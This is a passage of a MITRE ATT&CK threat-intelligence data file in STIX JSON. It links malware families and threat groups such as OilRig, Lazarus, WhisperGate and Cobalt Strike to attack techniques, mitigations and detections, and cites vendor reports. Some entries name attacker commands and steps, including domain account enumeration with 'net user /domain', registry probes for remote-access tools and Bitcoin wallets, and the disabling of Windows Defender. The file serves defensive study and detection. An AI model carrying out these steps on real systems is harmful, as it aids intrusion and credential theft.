"source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39897b0a-f48b-4d3b-8ba0-d6f8f26d00d4", "type": "relationship", "created": "2020-05-06T21:31:07.605Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.605Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) can collect network information, including the host IP address, DNS, and proxy information.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--398a5e5a-b624-4992-b26c-2abb37c9c2db", "type": "relationship", "created": "2019-06-18T17:20:43.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black JCry May 2019", "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}], "modified": "2019-06-30T23:03:26.110Z", "description": "[JCry](https://attack.mitre.org/software/S0389) has used PowerShell to execute payloads.(Citation: Carbon Black JCry May 2019)", "relationship_type": "uses", "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--399b8688-1fe9-4fa6-a984-7c01f9319a38", "type": "relationship", "created": "2021-10-07T21:28:23.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-17T17:04:33.225Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) exfiltrates data stolen from a system over its C2 channel.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--399c8f98-ead6-40c5-9dba-13e25e338fd8", "type": "relationship", "created": "2021-08-24T14:22:49.227Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "description": "CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}], "modified": "2021-08-24T14:22:49.227Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) can use <code>DeleteFileA</code> to remove files from infected hosts.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--399fbffc-1684-44ef-8002-61cfeff14383", "type": "relationship", "created": "2020-08-17T12:57:12.417Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-08-17T12:57:12.417Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use zlib to compress and decompress data.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39a3fc74-012e-47fc-b806-d9267a0f54ba", "type": "relationship", "created": "2020-03-09T13:13:23.999Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", "description": "Nelson, M. (2018, January 29). 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Retrieved February 3, 2018.", "source_name": "GitHub Disable DDEAUTO Oct 2017"}], "modified": "2022-03-11T20:14:42.475Z", "description": "Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.(Citation: Enigma Reviving DDE Jan 2018)(Citation: GitHub Disable DDEAUTO Oct 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39a3fca6-cdf6-4053-b4fe-eb5d46fc729f", "type": "relationship", "created": "2021-03-19T21:04:01.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. 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Retrieved March 17, 2021."}], "modified": "2021-03-19T21:04:01.279Z", "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39acd21f-8be0-4116-9449-09d1f4dd91fd", "type": "relationship", "created": "2022-03-02T14:54:02.707Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-09T18:44:33.793Z", "description": "Some endpoint security solutions can be configured to block some types of behaviors related to process injection/memory tampering based on common sequences of indicators (ex: execution of specific API functions).", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--39aeaed2-f7ca-4fb6-8268-13e8e995461e", "created": "2021-11-12T19:30:36.051Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Diavol](https://attack.mitre.org/software/S0659) has a `ENMDSKS` command to enumerates available network shares.(Citation: Fortinet Diavol July 2021) ", "modified": "2022-04-14T19:10:54.028Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39b38754-4a37-4665-acb7-6645a08e9ad2", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor for newly constructed containers", "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", "target_ref": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39b38f3b-e878-4bce-967b-59035a528595", "type": "relationship", "created": "2020-11-19T17:07:09.094Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-19T17:07:09.094Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has a keylogging capability.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d", "created": "2017-05-31T21:33:27.067Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Loaders", "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "McAfee Lazarus Resurfaces Feb 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample checks for the presence of the following Registry key:<code>HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt</code>.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)", "modified": "2022-07-28T18:47:11.978Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--39c01421-4f72-4143-95e1-fa8b209a5be6", "created": "2022-03-10T20:37:03.630Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Ukraine Wipers January 2022", "description": "Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.", "url": "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}, {"source_name": "Unit 42 WhisperGate January 2022", "description": "Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.", "url": "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"}, {"source_name": "Medium S2W WhisperGate January 2022", "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.", "url": "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:42:27.854Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can download and execute AdvancedRun.exe to disable the Windows Defender Theat Protection service and set an exclusion path for the C:\\ drive.(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--39c0a771-5e52-4d08-910f-a1c9b3989f68", "created": "2022-08-09T18:41:48.183Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "A [PingPull](https://attack.mitre.org/software/S1031) variant can communicate with its C2 servers by using HTTPS.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-24T20:01:25.293Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39c98d86-3f44-4a47-b7e5-4cb3e4bf97a7", "type": "relationship", "created": "2021-02-11T17:32:31.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}], "modified": "2020-03-18T20:18:02.094Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>net user</code>, <code>net user /domain</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39cf6431-f800-4911-8434-49ce1b2874f1", "type": "relationship", "created": "2022-01-25T14:46:45.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T14:46:45.557Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) can send additional modules over C2 encrypted with a simple substitution cipher.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--39d1a7ed-2388-4611-9886-915a3604c300", "created": "2019-03-11T20:01:20.272Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. (2019, June 4). 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MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. 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(2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}], "modified": "2020-03-27T20:35:51.564Z", "description": "[BADCALL](https://attack.mitre.org/software/S0245) encrypts C2 traffic using an XOR/ADD cipher.(Citation: US-CERT BADCALL)", "relationship_type": "uses", "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a1883a0-8626-4cf0-8e0f-19bf9cf39a30", "type": "relationship", "created": "2019-04-17T13:46:38.880Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "source_name": "Cofense Astaroth Sept 2018"}], "modified": "2020-03-20T18:03:28.121Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) encodes data using Base64 before sending it to the C2 server. (Citation: Cofense Astaroth Sept 2018)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a200957-9a8b-407e-a23f-cea1ef8236e6", "type": "relationship", "created": "2020-12-23T12:48:28.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2020-12-23T12:48:28.394Z", "description": "[SharpStage](https://attack.mitre.org/software/S0546) has used a legitimate web service for evading detection.(Citation: Cybereason Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a20bdab-0c73-49be-a8b5-630787814773", "type": "relationship", "created": "2020-06-30T00:39:39.951Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}], "modified": "2020-06-30T00:39:39.951Z", "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used cmd.exe and batch scripts to execute commands.(Citation: Sophos Ragnar May 2020)", "relationship_type": "uses", "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a20f6f1-0e1b-4d8e-8461-eb41e4c6b5da", "created": "2023-09-06T15:54:17.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:34:13.637Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used open-source tools such as [Impacket](https://attack.mitre.org/software/S0357) for targeting efforts.(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a217a5a-b6c4-47c5-822a-5b278385c811", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye CARBANAK June 2017", "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}], "modified": "2020-02-11T15:55:06.457Z", "description": "[Carbanak](https://attack.mitre.org/software/S0030) checks the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code> for proxy configurations information.(Citation: FireEye CARBANAK June 2017)", "relationship_type": "uses", "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3a228672-276e-4aaf-b40f-6ce645176af0", "created": "2022-03-30T14:26:51.853Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands with arguments that may be used to collect Keychain data from a system to acquire credentials.", "modified": "2022-04-14T22:56:58.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. 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(2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-05-27T13:22:06.766Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the location, public IP address, and domain name on a compromised host.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a26d78f-e0cb-4a58-8d84-6d867b32f279", "created": "2021-09-28T22:45:48.678Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Trickbot VNC module Whitepaper 2021", "description": "Radu Tudorica. (2021, July 12). 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(2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "CobaltStrike Daddy May 2017", "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019."}], "modified": "2022-02-25T18:58:14.855Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as a local user account.(Citation: cobaltstrike manual)(Citation: CobaltStrike Daddy May 2017)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a299dae-7ee2-4e5e-8be6-eb014f58205b", "created": "2020-05-26T18:37:13.094Z", 